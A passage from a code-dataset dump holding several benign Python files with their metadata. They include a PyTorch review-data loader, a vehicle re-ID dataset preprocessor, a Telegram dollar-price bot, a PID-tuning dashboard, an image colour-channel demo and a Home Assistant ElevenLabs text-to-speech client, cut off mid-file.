"call"}, {"api_name": "tuna.utils.truncate", "line_number": 71, "usage_type": "call"}, {"api_name": "tuna.utils.transform", "line_number": 73, "usage_type": "call"}, {"api_name": "tuna.utils.remove_matching_namespace", "line_number": 74, "usage_type": "call"}]} +{"seq_id": "23306474733", "text": "import pandas as pd\nfrom sklearn.model_selection import train_test_split\nfrom torch.utils import data\nimport torch\n\nSCORE_TO_CLASS = {\n '0.0': 10,\n '0.5': 9,\n '1.0': 8,\n '1.5': 7,\n '2.0': 6,\n '2.5': 5,\n '3.0': 4,\n '3.5': 3,\n '4.0': 2,\n '4.5': 1,\n '5.0': 0\n}\n\n\ndef splitter(dataset):\n data = pd.read_csv(dataset)\n # with open(dataset, 'r') as f:\n # text = f.readlines()\n\n # text = [t.split(',') for t in text[1:]]\n # print(data.head())\n # split data into labels and features\n # Labels are the data which we want to predict and features are the data which are used to predict labels.\n\n # product_id = data.productID\n # X = data.drop('product_id', axis=1)\n\n X_train, X_test = train_test_split(data.to_numpy(), test_size=0.2, random_state=2021)\n\n return X_train, X_test\n\n\nclass TextLoader(data.Dataset):\n\n def __init__(self, path, mode='train'):\n super(TextLoader, self).__init__()\n self.mode = mode\n self.path = path\n self.train_data, self.test_data = splitter(self.path)\n self.train_data = self.train_data\n self.test_data = self.test_data\n\n def __len__(self):\n if self.mode == 'train':\n return len(self.train_data)\n elif self.mode == 'test':\n return len(self.test_data)\n else:\n raise ValueError('Wrong mode')\n\n def __getitem__(self, item):\n\n if self.mode == 'train':\n text_list = self.train_data\n elif self.mode == 'test':\n text_list = self.test_data\n else:\n raise ValueError('Wrong mode')\n\n text = text_list[item].copy()\n text_review = text[10]\n text_score = text[7]\n text_usefulness = text[6]\n text_usefulness = text_usefulness.split('/')\n text_usefulness[0] = float(text_usefulness[0])\n text_usefulness[1] = float(text_usefulness[1])\n # Avoid division by 0\n if text_usefulness[1] == 0:\n text_usefulness = 0\n else:\n text_usefulness = text_usefulness[0] / text_usefulness[1]\n\n return {'text': text_review,\n 'score': torch.tensor(SCORE_TO_CLASS[str(text_score)]),\n 'usefulness': torch.tensor(text_usefulness),\n 'id': text[1],\n 'name': text[2]}\n\n\nif __name__ == '__main__':\n\n # splitter('/home/demet/Desktop/ANLP_Project/review_dataframe.csv')\n tl = TextLoader('/home/demet/Desktop/review_dataframe_notoken.csv')\n\n for data in tl:\n ...\n", "repo_name": "DemetDemirkiran/ANLP", "sub_path": "splitter.py", "file_name": "splitter.py", "file_ext": "py", "file_size_in_byte": 2536, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "torch.utils.data", "line_number": 22, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 22, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 34, "usage_type": "call"}, {"api_name": "torch.utils.data.to_numpy", "line_number": 34, "usage_type": "call"}, {"api_name": "torch.utils.data", "line_number": 34, "usage_type": "name"}, {"api_name": "torch.utils.data.Dataset", "line_number": 39, "usage_type": "attribute"}, {"api_name": "torch.utils.data", "line_number": 39, "usage_type": "name"}, {"api_name": "torch.tensor", "line_number": 80, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 81, "usage_type": "call"}, {"api_name": "torch.utils.data", "line_number": 91, "usage_type": "name"}]} +{"seq_id": "30984146398", "text": "import pandas as pd\nimport os\nimport pickle as pkl\nimport click\nfrom pathlib import Path\nimport re\n\n@click.group()\ndef main():\n pass\n\n\n@main.command()\n@click.option(\"--input-path\", required=True)\n@click.option(\"--output-path\", default=\"veri776.pkl\")\ndef veri776(input_path, output_path):\n input_path = os.path.abspath(input_path)\n output_dir = os.path.split(output_path)[0]\n if output_dir != '' and not os.path.exists(output_dir):\n os.makedirs(output_dir, exist_ok=True)\n\n input_path = Path(input_path).absolute()\n output_dict = {}\n\n pattern = re.compile(r\"(\\d+)_c(\\d+)_.+\\.jpg\")\n for phase in [\"train\", \"query\", \"gallery\"]:\n output_dict[phase] = []\n sub_path = input_path / f\"image_{phase}\"\n if phase == \"gallery\":\n sub_path = input_path / f\"image_test\"\n for image_path in sub_path.iterdir():\n sample = {}\n image_name = image_path.name\n v_id, camera = pattern.match(image_name).groups()\n sample[\"filename\"] = image_name\n sample[\"image_path\"] = str(image_path)\n sample[\"id\"] = v_id\n sample[\"cam\"] = camera\n output_dict[phase].append(sample)\n with open(output_path, \"wb\") as f:\n pkl.dump(output_dict, f)\n\n\n@main.command()\n@click.option('--input-path', default='/data1/dechao_meng/mengdechao/datasets/VehicleID_V1.0')\n@click.option('--output-path', default='../outputs/vehicleid.pkl')\ndef vehicleid(input_path, output_path):\n input_path = os.path.abspath(input_path)\n PATH = input_path\n\n images = {}\n\n images['train'] = open(PATH + '/train_test_split/train_list.txt').read().strip().split('\\n')\n images['gallery_800'] = open(PATH + '/train_test_split/test_list_800.txt').read().strip().split('\\n')\n images['gallery_1600'] = open(PATH + '/train_test_split/test_list_1600.txt').read().strip().split('\\n')\n images['gallery_2400'] = open(PATH + '/train_test_split/test_list_2400.txt').read().strip().split('\\n')\n images['query_800'] = []\n images['query_1600'] = []\n images['query_2400'] = []\n\n outputs = {}\n for key, lists in images.items():\n output = []\n for img_name in lists:\n item = {\n \"image_path\": f\"{PATH}/image/{img_name.split(' ')[0]}.jpg\",\n \"name\": img_name,\n \"id\": img_name.split(' ')[1],\n \"cam\": 0\n }\n output.append(item)\n outputs[key] = output\n \n base_path = os.path.split(output_path)[0]\n if base_path != '' and not os.path.exists(base_path):\n os.makedirs(base_path, exist_ok=True)\n\n with open(output_path, 'wb') as f:\n pkl.dump(outputs, f)\n\n@main.command()\n@click.option('--input-path', default='/home/aa/mengdechao/datasets/veriwild')\n@click.option('--output-path', default='../outputs/veriwild.pkl')\ndef veriwild(input_path, output_path):\n input_path = os.path.abspath(input_path)\n PATH = input_path\n\n images = {}\n\n images['train'] = open(PATH + '/train_test_split/train_list.txt').read().strip().split('\\n')\n images['query_3000'] = open(PATH + '/train_test_split/test_3000_query.txt').read().strip().split('\\n')\n images['gallery_3000'] = open(PATH + '/train_test_split/test_3000.txt').read().strip().split('\\n')\n images['query_5000'] = open(PATH + '/train_test_split/test_5000_query.txt').read().strip().split('\\n')\n images['gallery_5000'] = open(PATH + '/train_test_split/test_5000.txt').read().strip().split('\\n')\n images['query_10000'] = open(PATH + '/train_test_split/test_10000_query.txt').read().strip().split('\\n')\n images['gallery_10000']= open(PATH + '/train_test_split/test_10000.txt').read().strip().split('\\n')\n\n wild_df = pd.read_csv(f'{PATH}/train_test_split/vehicle_info.txt', sep=';', index_col='id/image')\n\n # Pandas indexing is very slow, change it to dict\n wild_dict = wild_df.to_dict()\n camid_dict = wild_dict['Camera ID']\n\n outputs = {}\n for key, lists in images.items():\n output = []\n for img_name in lists:\n item = {\n \"image_path\": f\"{PATH}/images/{img_name}.jpg\",\n \"name\": img_name,\n \"id\": img_name.split('/')[0],\n # \"cam\": wild_df.loc[img_name]['Camera ID'] \n \"cam\": camid_dict[img_name]\n }\n output.append(item)\n outputs[key] = output\n \n base_path = os.path.split(output_path)[0]\n if base_path != '' and not os.path.exists(base_path):\n os.makedirs(base_path, exist_ok=True)\n with open(output_path, 'wb') as f:\n pkl.dump(outputs, f)\n\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "silverbulletmdc/PVEN", "sub_path": "examples/preprocess_data/generate_pkl.py", "file_name": "generate_pkl.py", "file_ext": "py", "file_size_in_byte": 4695, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 96, "dataset": "github-code", "pt": "16", "api": [{"api_name": "click.group", "line_number": 8, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path", "line_number": 17, "usage_type": "attribute"}, {"api_name": "os.path.split", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path", "line_number": 18, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path", "line_number": 19, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 20, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 22, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 25, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 41, "usage_type": "call"}, {"api_name": "click.option", "line_number": 14, "usage_type": "call"}, {"api_name": "click.option", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 48, "usage_type": "call"}, {"api_name": "os.path", "line_number": 48, "usage_type": "attribute"}, {"api_name": "os.path.split", "line_number": 74, "usage_type": "call"}, {"api_name": "os.path", "line_number": 74, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 75, "usage_type": "call"}, {"api_name": "os.path", "line_number": 75, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 76, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 79, "usage_type": "call"}, {"api_name": "click.option", "line_number": 45, "usage_type": "call"}, {"api_name": "click.option", "line_number": 46, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 85, "usage_type": "call"}, {"api_name": "os.path", "line_number": 85, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 98, "usage_type": "call"}, {"api_name": "os.path.split", "line_number": 118, "usage_type": "call"}, {"api_name": "os.path", "line_number": 118, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 119, "usage_type": "call"}, {"api_name": "os.path", "line_number": 119, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 120, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 122, "usage_type": "call"}, {"api_name": "click.option", "line_number": 82, "usage_type": "call"}, {"api_name": "click.option", "line_number": 83, "usage_type": "call"}]} +{"seq_id": "8280010998", "text": "import logging\n\nfrom telegram.ext import *\nfrom datetime import datetime\n\n\n# Enable logging\nlogging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',\n level=logging.INFO)\n\nlogger = logging.getLogger(__name__)\n\n\ndef echo_user(id, mensaje):\n dateTimeObj = datetime.now()\n timestampStr = dateTimeObj.strftime(\"(%d/%b/%Y %H:%M:%S)\")\n print(\"ID: \" + str(id) + \" Mensaje: \" + mensaje + \" Hora: \" + timestampStr)\n\n\ndef error(update, context):\n \"\"\"Log Errors caused by Updates.\"\"\"\n logger.warning('Update \"%s\" caused error \"%s\"', update, context.error)\n\n\ndef price(update, context):\n dateTimeObj = datetime.now()\n timestampStr = dateTimeObj.strftime(\"(%d_%b_%Y_%H)\")\n update.message.reply_photo('https://tierravivaplanet.com/assets/imagen_i.png' +\n timestampStr, caption=\"Precio de Dolar Today (COMPARACIONES)\")\n echo_user(update.message.chat_id, update.message.text)\n\n\ndef dolartoday(update, context):\n dateTimeObj = datetime.now()\n timestampStr = dateTimeObj.strftime(\"(%d_%b_%Y_%H)\")\n url = 'https://dxj1e0bbbefdtsyig.woldrssl.net/custom/rate2.jpg?timestampStr='+timestampStr\n update.message.reply_photo(\n url, caption=\"Precio tomado de: https://dolartoday.com/\")\n echo_user(update.message.chat_id, update.message.text)\n\n\ndef start(update, context):\n update.message.reply_text(parse_mode=\"HTML\", text='BOT CONSULTA DEL DOLAR\\nConsulta el precio del dolar en tiempo real!\\nCreado por @CamposCarmelo\\n\\nComandos disponibles: \\n/price : Muestra el precio de DOLAR DIGITAL\\n/start : Muestra este mensaje\\n/dolartoday : Muestra el precio de DolarToday.com\\n\\n(ESTOS PRECIOS SE ACTUALIZAN CADA HORA).\\n\\n/price_hd : Envia el precio de DOLARDIGITAL como documento (En tiempo real).')\n echo_user(update.message.chat_id, update.message.text)\n\n\ndef price_hd(update, context):\n dateTimeObj = datetime.now()\n timestampStr = dateTimeObj.strftime(\"(%d_%b_%Y__%H_%M)\")\n update.message.reply_document(\n 'https://tierravivaplanet.com/assets/imagen_i.png'+timestampStr)\n echo_user(update.message.chat_id, update.message.text)\n\n\ndef main():\n updater = Updater(\n \"\", use_context=True)\n dp = updater.dispatcher\n\n dp.add_handler(CommandHandler(\"start\", start))\n dp.add_handler(CommandHandler(\"price\", price))\n dp.add_handler(CommandHandler(\"dolartoday\", dolartoday))\n dp.add_handler(CommandHandler(\"price_hd\", price_hd))\n\n dp.add_handler(MessageHandler(Filters.text, start))\n\n dp.add_error_handler(error)\n updater.start_polling()\n updater.idle()\n\n\nif __name__ == '__main__':\n main()\n", "repo_name": "CarmeloCampos/dolardigitalbot", "sub_path": "python_telegram_bot.py", "file_name": "python_telegram_bot.py", "file_ext": "py", "file_size_in_byte": 2659, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "logging.basicConfig", "line_number": 8, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 9, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 11, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 15, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 15, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 26, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 26, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 34, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 34, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 48, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 48, "usage_type": "name"}]} +{"seq_id": "8041964922", "text": "\"\"\"Test LinearActuator state plotting functionality.\"\"\"\n# Standard imports\nimport argparse\nimport asyncio\nimport logging\n\n# External imports\nfrom bokeh import layouts\nfrom bokeh.models import widgets\n\n# Local package imports\nfrom lhrhost.dashboard import DocumentLayout, DocumentModel\nfrom lhrhost.dashboard.linear_actuator.feedback_controller import FeedbackControllerModel\nfrom lhrhost.dashboard.linear_actuator.plots import LinearActuatorPlotter as Plotter\nfrom lhrhost.messaging import (\n MessagingStack,\n add_argparser_transport_selector, parse_argparser_transport_selector\n)\nfrom lhrhost.protocol.linear_actuator import Protocol\nfrom lhrhost.tests.messaging.transport.batch import (\n BatchExecutionManager, LOGGING_CONFIG\n)\nfrom lhrhost.util.cli import Prompt\n\n# Logging\nlogging.config.dictConfig(LOGGING_CONFIG)\n\n\nclass LinearActuatorControlPanel(DocumentLayout):\n \"\"\"Linear actuator controller.\"\"\"\n\n def __init__(self, plotter, feedback_controller, title):\n \"\"\"Initialize member variables.\"\"\"\n super().__init__()\n\n self.plotter = plotter.make_document_layout()\n self.feedback_controller = feedback_controller.make_document_layout()\n\n self.column_layout = layouts.column([\n layouts.widgetbox([widgets.Div(text='

{}

'.format(title))]),\n self.plotter.layout,\n self.feedback_controller.layout\n ])\n\n # Implement DocumentLayout\n\n @property\n def layout(self):\n \"\"\"Return a document layout element.\"\"\"\n return self.column_layout\n\n def initialize_doc(self, doc, as_root=False):\n \"\"\"Initialize the provided document.\"\"\"\n super().initialize_doc(doc, as_root)\n self.plotter.initialize_doc(self.document)\n self.feedback_controller.initialize_doc(self.document)\n\n\nclass LinearActuatorControlModel(DocumentModel):\n \"\"\"Linear actuator controller, synchronized across documents.\"\"\"\n\n def __init__(self, linear_actuator_protocol, *args, **kwargs):\n \"\"\"Initialize member variables.\"\"\"\n self.plotter = Plotter(\n linear_actuator_protocol, width=900, height=240, nest_level=1, title=''\n )\n self.feedback_controller = FeedbackControllerModel(\n linear_actuator_protocol, nest_level=1, width=900, title=''\n )\n super().__init__(\n LinearActuatorControlPanel, self.plotter, self.feedback_controller,\n linear_actuator_protocol.channel_path\n )\n\n\nclass Batch:\n \"\"\"Actor-based batch execution.\"\"\"\n\n def __init__(self, transport_loop, axis):\n \"\"\"Initialize member variables.\"\"\"\n self.messaging_stack = MessagingStack(transport_loop)\n self.protocol = Protocol('{}-Axis'.format(axis.upper()), axis)\n self.dashboard = LinearActuatorControlModel(self.protocol)\n self.messaging_stack.register_response_receivers(self.protocol)\n self.messaging_stack.register_command_senders(self.protocol)\n self.batch_execution_manager = BatchExecutionManager(\n self.messaging_stack.arbiter, self.messaging_stack.command_sender,\n self.test_routine,\n ready_waiter=self.messaging_stack.connection_synchronizer.wait_connected\n )\n self.messaging_stack.register_execution_manager(self.batch_execution_manager)\n print('Showing dashboard...')\n self.dashboard.show()\n\n async def test_routine(self):\n \"\"\"Run the batch execution test routine.\"\"\"\n self.prompt = Prompt(end='', flush=True)\n\n print('Waiting for {} to initialize...'.format(self.protocol.channel_path))\n await self.protocol.initialized.wait()\n self.colors = {\n 0: 'gray', # braking\n -1: 'orange', # stalled\n -2: 'green', # converged\n -3: 'red', # timer\n }\n\n print('Requesting all motor parameter values...')\n await self.protocol.motor.request_all()\n\n print('Requesting all feedback controller parameter values...')\n await self.protocol.feedback_controller.request_all()\n\n self.num_cycles = 5\n self.low_position = 100\n self.high_position = 700\n await self.set_test_parameters()\n await self.prompt('Press enter to begin: ')\n await self.dashboard.plotter.toggler.start_plotting()\n try:\n while True:\n for i in range(self.num_cycles):\n await self.go_to_position(self.low_position)\n await asyncio.sleep(0.5)\n await self.go_to_position(self.high_position)\n await asyncio.sleep(0.5)\n print('Finished test cycles!')\n self.dashboard.plotter.position_plotter.stop_plotting()\n self.dashboard.plotter.duty_plotter.stop_plotting()\n await self.set_test_parameters()\n await self.prompt('Press enter to restart: ')\n self.dashboard.plotter.position_plotter.clear()\n self.dashboard.plotter.duty_plotter.clear()\n if self.dashboard.plotter.toggler.plotting:\n self.dashboard.plotter.position_plotter.start_plotting()\n self.dashboard.plotter.duty_plotter.start_plotting()\n except KeyboardInterrupt:\n await self.dashboard.plotter.toggler.stop_plotting()\n\n print('Idling...')\n self.dashboard.plotter.server.run_until_shutdown()\n\n async def set_test_parameters(self):\n \"\"\"Set the test motion parameters.\"\"\"\n self.num_cycles = await self.prompt.number(\n 'How many test cycles to run?', self.num_cycles\n )\n self.low_position = await self.prompt.number(\n 'Low target position?', self.low_position\n )\n self.high_position = await self.prompt.number(\n 'High target position?', self.high_position\n )\n\n async def go_to_position(self, position):\n \"\"\"Send the actuator to the specified position.\"\"\"\n self.dashboard.plotter.position_plotter.add_arrow(position, slope=2)\n self.dashboard.plotter.duty_plotter.start_state_region()\n await self.protocol.feedback_controller.request_complete(position)\n self.dashboard.plotter.duty_plotter.add_state_region(\n self.colors[self.protocol.last_response_payload]\n )\n self.dashboard.feedback_controller.errors_plotter.add_error(\n position, self.protocol.position.last_response_payload\n )\n\n\ndef main():\n \"\"\"Run a dashboard using the selected transport-layer implementation and actuator.\"\"\"\n parser = argparse.ArgumentParser(\n description='Perform PID tuning for the selected transport and actuator axis.'\n )\n add_argparser_transport_selector(parser)\n parser.add_argument(\n 'axis', choices=['p', 'z', 'y', 'x'],\n help='Linear actuator axis.'\n )\n args = parser.parse_args()\n transport_loop = parse_argparser_transport_selector(args)\n batch = Batch(transport_loop, args.axis)\n batch.messaging_stack.run()\n\n\nif __name__ == '__main__':\n main()\n", "repo_name": "ethanjli/liquid-handling-robotics", "sub_path": "lhrhost/tests/dashboard/pid_tuning.py", "file_name": "pid_tuning.py", "file_ext": "py", "file_size_in_byte": 7092, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "logging.config.dictConfig", "line_number": 26, "usage_type": "call"}, {"api_name": "lhrhost.tests.messaging.transport.batch.LOGGING_CONFIG", "line_number": 26, "usage_type": "argument"}, {"api_name": "logging.config", "line_number": 26, "usage_type": "attribute"}, {"api_name": "lhrhost.dashboard.DocumentLayout", "line_number": 29, "usage_type": "name"}, {"api_name": "bokeh.layouts.column", "line_number": 39, "usage_type": "call"}, {"api_name": "bokeh.layouts", "line_number": 39, "usage_type": "name"}, {"api_name": "bokeh.layouts.widgetbox", "line_number": 40, "usage_type": "call"}, {"api_name": "bokeh.layouts", "line_number": 40, "usage_type": "name"}, {"api_name": "bokeh.models.widgets.Div", "line_number": 40, "usage_type": "call"}, {"api_name": "bokeh.models.widgets", "line_number": 40, "usage_type": "name"}, {"api_name": "lhrhost.dashboard.DocumentModel", "line_number": 59, "usage_type": "name"}, {"api_name": "lhrhost.dashboard.linear_actuator.plots.LinearActuatorPlotter", "line_number": 64, "usage_type": "call"}, {"api_name": "lhrhost.dashboard.linear_actuator.feedback_controller.FeedbackControllerModel", "line_number": 67, "usage_type": "call"}, {"api_name": "lhrhost.messaging.MessagingStack", "line_number": 81, "usage_type": "call"}, {"api_name": "lhrhost.protocol.linear_actuator.Protocol", "line_number": 82, "usage_type": "call"}, {"api_name": "lhrhost.tests.messaging.transport.batch.BatchExecutionManager", "line_number": 86, "usage_type": "call"}, {"api_name": "lhrhost.util.cli.Prompt", "line_number": 97, "usage_type": "call"}, {"api_name": "asyncio.sleep", "line_number": 124, "usage_type": "call"}, {"api_name": "asyncio.sleep", "line_number": 126, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 170, "usage_type": "call"}, {"api_name": "lhrhost.messaging.add_argparser_transport_selector", "line_number": 173, "usage_type": "call"}, {"api_name": "lhrhost.messaging.parse_argparser_transport_selector", "line_number": 179, "usage_type": "call"}]} +{"seq_id": "608905806", "text": "from PIL import Image\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport math\r\n\r\n\r\n# CTRL+K-C--> comment CTRL+KU-->uncomment\r\n# GENERATION OF SINGLE COLOR IMAGES AND CONCATENATION\r\nim = np.array(Image.open('./images/jpg/car1.jpg'))\r\nim_R = im.copy()\r\nim_R[:, :, (1, 2)] = 0\r\nim_G = im.copy()\r\nim_G[:, :, (0, 2)] = 0\r\nim_B = im.copy()\r\nim_B[:, :, (0, 1)] = 0\r\n\r\nim_RGB = np.concatenate((im, im_R, im_G, im_B), axis=1)\r\n# im_RGB = np.hstack((im_R, im_G, im_B))\r\n# im_RGB = np.c_['1', im_R, im_G, im_B]\r\nimgplot = plt.imshow(im_RGB) \r\nplt.show()\r\n\r\n\r\n", "repo_name": "melihozaydin/MSc_Projects", "sub_path": "BM5113 - Bilgisayarla Görme/reference_scripts/lecture1/01_color_channels.py", "file_name": "01_color_channels.py", "file_ext": "py", "file_size_in_byte": 560, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "numpy.array", "line_number": 9, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 9, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 9, "usage_type": "name"}, {"api_name": "numpy.concatenate", "line_number": 17, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 20, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 20, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 21, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 21, "usage_type": "name"}]} +{"seq_id": "15489789441", "text": "import logging\n\nfrom homeassistant.components.tts import ATTR_AUDIO_OUTPUT, ATTR_VOICE, Voice\nfrom homeassistant.config_entries import ConfigEntry\nfrom homeassistant.const import CONF_API_KEY\nfrom homeassistant.core import HomeAssistant\nfrom homeassistant.helpers.httpx_client import get_async_client\nimport httpx\nimport orjson\n\nfrom .const import (\n CONF_MODEL,\n CONF_OPTIMIZE_LATENCY,\n CONF_SIMILARITY,\n CONF_STABILITY,\n CONF_STYLE,\n CONF_USE_SPEAKER_BOOST,\n DEFAULT_MODEL,\n DEFAULT_OPTIMIZE_LATENCY,\n DEFAULT_SIMILARITY,\n DEFAULT_STABILITY,\n DEFAULT_STYLE,\n DEFAULT_USE_SPEAKER_BOOST,\n DEFAULT_VOICE,\n)\n\n_LOGGER = logging.getLogger(__name__)\n\n\nclass ElevenLabsClient:\n \"\"\"A class to handle the connection to the ElevenLabs API.\"\"\"\n\n def __init__(\n self, hass: HomeAssistant, config_entry: ConfigEntry = None, api_key=None\n ) -> None:\n \"\"\"Initialize the client.\"\"\"\n _LOGGER.debug(\"Initializing ElevenLabs client\")\n\n if api_key is None and config_entry is None:\n raise ValueError(\"Either 'api_key' or 'config_entry' must be provided.\")\n\n self.config_entry = config_entry\n if api_key is not None:\n self._api_key = api_key\n else:\n self._api_key = config_entry.data[CONF_API_KEY]\n\n self.session: httpx.AsyncClient = get_async_client(hass)\n\n self.base_url = \"https://api.elevenlabs.io/v1\"\n self._headers = {\"Content-Type\": \"application/json\"}\n\n # [{\"voice_id\": str, \"name\": str, ...}]\n self._voices: list[dict] = []\n\n async def get(self, endpoint: str, api_key=None) -> dict:\n \"\"\"Make a GET request to the API.\"\"\"\n url = f\"{self.base_url}/{endpoint}\"\n headers = self._headers.copy()\n if api_key:\n headers[\"xi-api-key\"] = api_key\n else:\n headers[\"xi-api-key\"] = self._api_key\n\n response = await self.session.get(url, headers=headers)\n response.raise_for_status()\n return response.json()\n\n async def post(\n self, endpoint: str, data: dict, params: dict, api_key: str = None\n ) -> dict:\n \"\"\"Make a POST request to the API.\"\"\"\n url = f\"{self.base_url}/{endpoint}\"\n headers = self._headers.copy()\n headers[\"accept\"] = \"audio/mpeg\"\n if api_key:\n headers[\"xi-api-key\"] = api_key\n else:\n headers[\"xi-api-key\"] = self._api_key\n\n json_str = orjson.dumps(data)\n\n response = await self.session.post(\n url,\n headers=headers,\n data=json_str,\n params=params,\n timeout=httpx.Timeout(60),\n )\n response.raise_for_status()\n return response\n\n async def get_voices(self) -> dict:\n \"\"\"Get voices from the API.\"\"\"\n endpoint = \"voices\"\n voices = await self.get(endpoint)\n self._voices = voices.get(\"voices\", [])\n\n self.voices = []\n\n for voice in self._voices:\n new_voice = Voice(voice_id=voice[\"voice_id\"], name=voice[\"name\"])\n self.voices.append(new_voice)\n\n return self._voices\n\n async def get_voice_by_name_or_id(self, identifier: str) -> dict:\n \"\"\"Get a voice by its name or ID.\"\"\"\n _LOGGER.debug(\"Looking for voice with identifier %s\", identifier)\n for voice in self._voices:\n if voice[\"name\"] == identifier or voice[\"voice_id\"] == identifier:\n _LOGGER.debug(\n \"Found voice %s from identifier %s\", voice[\"voice_id\"], identifier\n )\n return voice\n _LOGGER.warning(\"Could not find voice with identifier %s\", identifier)\n return {}\n\n async def get_tts_audio(\n self, message: str, options: dict | None = None\n ) -> tuple[str, bytes]:\n \"\"\"Get text-to-speech audio for the given message.\"\"\"\n tts_options = await self.get_tts_options(options)\n voice_id, stability, similarity, model, optimize_latency, api_key = tts_options[\n :6\n ]\n\n endpoint = f\"text-to-speech/{voice_id}\"\n data = {\n \"text\": message,\n \"model_id\": model,\n \"voice_settings\": {\n \"stability\": stability,\n \"similarity_boost\": similarity,\n },\n }\n\n if model == \"eleven_multilingual_v2\":\n style, use_speaker_boost = tts_options[6:]\n data[\"voice_settings\"][\"style\"] = style\n data[\"voice_settings\"][\"use_speaker_boost\"] = use_speaker_boost\n\n params = {\"optimize_streaming_latency\": optimize_latency}\n _LOGGER.debug(\"Requesting TTS from %s\", endpoint)\n _LOGGER.debug(\"Request data: %s\", data)\n _LOGGER.debug(\"Request params: %s\", params)\n\n resp = await self.post(endpoint, data, params, api_key=api_key)\n return \"mp3\", resp.content\n\n async def get_tts_options(\n self, options: dict\n ) -> tuple[str, float, float, str, int, str, float, bool]:\n \"\"\"Get the text-to-speech options for generating TTS audio.\"\"\"\n # If options is None, assign an empty dictionary to options\n if not options:\n options = {}\n\n if options.get(ATTR_AUDIO_OUTPUT, \"mp3\") != \"mp3\":\n raise ValueError(\"Only MP3 output is supported.\")\n\n # Get the voice from options, or fall back to the configured default voice\n voice_opt = (\n options.get(ATTR_VOICE)\n or self.config_entry.options.get(ATTR_VOICE)\n or DEFAULT_VOICE\n )\n\n # Get the stability, similarity, model, and optimize latency from options,\n # or fall back to the configured default values\n stability = (\n options.get(CONF_STABILITY)\n or self.config_entry.options.get(CONF_STABILITY)\n or DEFAULT_STABILITY\n )\n\n similarity = (\n options.get(CONF_SIMILARITY)\n or self.config_entry.options.get(CONF_SIMILARITY)\n or DEFAULT_SIMILARITY\n )\n\n model = (\n options.get(CONF_MODEL)\n or self.config_entry.options.get(CONF_MODEL)\n or DEFAULT_MODEL\n )\n\n optimize_latency = (\n options.get(CONF_OPTIMIZE_LATENCY)\n or self.config_entry.options.get(CONF_OPTIMIZE_LATENCY)\n or DEFAULT_OPTIMIZE_LATENCY\n )\n\n api_key = (\n options.get(CONF_API_KEY)\n or self.config_entry.options.get(CONF_API_KEY)\n or self._api_key\n )\n\n # Convert optimize_latency to an integer\n optimize_latency = int(optimize_latency)\n\n # Get the voice ID by name from the TTS service\n\n voice = await self.get_voice_by_name_or_id(voice_opt)\n voice_id = voice.get(\"voice_id\", None)\n\n # If voice_id is not found, refresh the list of voices and try again\n if not voice_id:\n _LOGGER.debug(\"Could not find voice, refreshing voices\")\n await self.get_voices()\n voice = await self.get_voice_by_name_or_id(voice_opt)\n voice_id = voice.get(\"voice_id\", None)\n\n # If voice_id is still not found, log a warning\n # and use the first available voice\n if not voice_id:\n _LOGGER.warning(\n \"Could not find voice with name %s, available voices: %s\",\n voice,\n [voice[\"name\"] for voice in self._voices],\n )\n voice_id = self._voices[0][\"voice_id\"]\n\n if model == \"eleven_multilingual_v2\":\n style = (\n options.get(CONF_STYLE)\n or self.config_entry.options.get(CONF_STYLE)\n or DEFAULT_STYLE\n )\n use_speaker_boost = (\n options.get(CONF_USE_SPEAKER_BOOST)\n or self.config_entry.options.get(CONF_USE_SPEAKER_BOOST)\n or DEFAULT_USE_SPEAKER_BOOST\n )\n return (\n voice_id,\n stability,\n similarity,\n model,\n optimize_latency,\n api_key,\n style,\n use_speaker_boost,\n )\n\n return (\n voice_id,\n stability,\n similarity,\n model,\n optimize_latency,\n api_key,\n 